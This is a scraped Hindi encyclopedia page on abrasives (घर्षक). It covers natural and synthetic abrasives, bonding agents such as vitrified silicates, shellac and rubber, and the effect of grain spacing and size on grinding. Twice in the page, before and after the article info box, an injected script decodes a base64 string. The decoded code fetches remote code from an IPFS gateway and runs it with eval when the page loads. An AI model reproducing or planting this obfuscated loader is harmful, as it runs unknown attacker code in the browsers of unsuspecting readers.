घर्षक

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
घर्षक
पुस्तक नाम हिन्दी विश्वकोश खण्ड 4
पृष्ठ संख्या 112
भाषा हिन्दी देवनागरी
संपादक फूलदेव सहाय वर्मा
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक (गफ्रुन, बे)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

घर्षक प्राकृतिक तथा बनावटी पदार्थों को मिलाकर बनाया जाता है और लकड़ी, धातु तथा पत्थरों के प्रमार्जन तथा उनपर चमक पैदा करने के कामों में लाया जाता है। प्राकृतिक घर्षकों में कुरुबिंद (कोरंडम, corundum), एमरी, (emery), बालू (sand) तथा विविध प्रकार के पत्थर हैं, जिनका उपयोग पेषण पत्थर और शाणचक्रों (grinding wheels) के बनाने में होता है। दूसरे प्राकृतिक घर्षक भी हैं, जो इतने लाभदायक और अधिक उपयोगी नहीं हैं।

बनावटी घर्षकों में कारबोरंडम (carborundum), जो कार्बन तथा कुरुबिंद को मिलाकर बनता है, पिसा हुआ लोहा तथा इस्पात हैं। इस्पात से एमरी भी बनाया जाता है। या तो इस्पात को पीसकर, या फिर इस्पात एमरी बनाकर घर्षक बनाते हैं। इस्पात एमरी बनाने का नियम यह है कि अच्छे इस्पात को अधिक तपाकर तुंरत जल में डाल देते हैं। इस ठंढे लोहे को यंत्रों द्वारा पीस लिया जाता है। इन प्राकृतिक तथा बनावटी घर्षकों को चिपकनेवाले पदार्थ के साथ मिलाकर पेषण पत्थर या शाणचक्र बनाए जाते हैं। इन चिपकनेवाले पदार्थों में काचित (Vitrified) सिलिकेट, चपड़ा (shellac), संश्लिष्ट रेजिन और रबर मुख्य हैं। विशेष भारी कामों के लिये, या ऐसे कामों के लिये जहाँ धातु को अधिक तीव्र गति पर घिसना होता है, काचित पदार्थ का उपयोग सबसे अधिक होता है।

रबर ऐसे पतले चक्र बनाने के काम में लाया जाता है जिनसे किसी धातु को दो भागों में काटा जाता है। ये चक्र भंगुर नहीं होते और इस प्रकार इनके टूटने का डर नहीं रहता। घर्षक की संरचना पर ध्यान देना जरुरी है,। संरचना से मतलब धर्षक के कणों की एक दूसरे से दूरी से है। दूर दूर रखे गए कण मृदु और तन्य (ductile) धातु को ठीक प्रकार से काट सकते हैं, परंतु पास पास रखे गए कण कठोर तथा भंगुर धातु के लिये उपयुक्त होते हैं। पास पासवाले कण से अच्छी परिसज्जा (finish) होती है और समतल पर चमक आ जाती है।

घर्षक के कणों के परिमाण का भी प्रभाव धातु पर पड़ता है। कठोर और भंगुर धातुएँ छोटे कण के घर्षक से अच्छी कटती हैं और इसी प्रकार ये घर्षक प्रमार्जन के लिय भी ठीक होते हैं। मोटे कण के घर्षकों से अधिक धातु कम समय में कट जाती है, परंतु अच्छी परिसज्जा नहीं हो पाती और धातु पर रेखाएँ पड़ जाती हैं।



टीका टिप्पणी और संदर्भ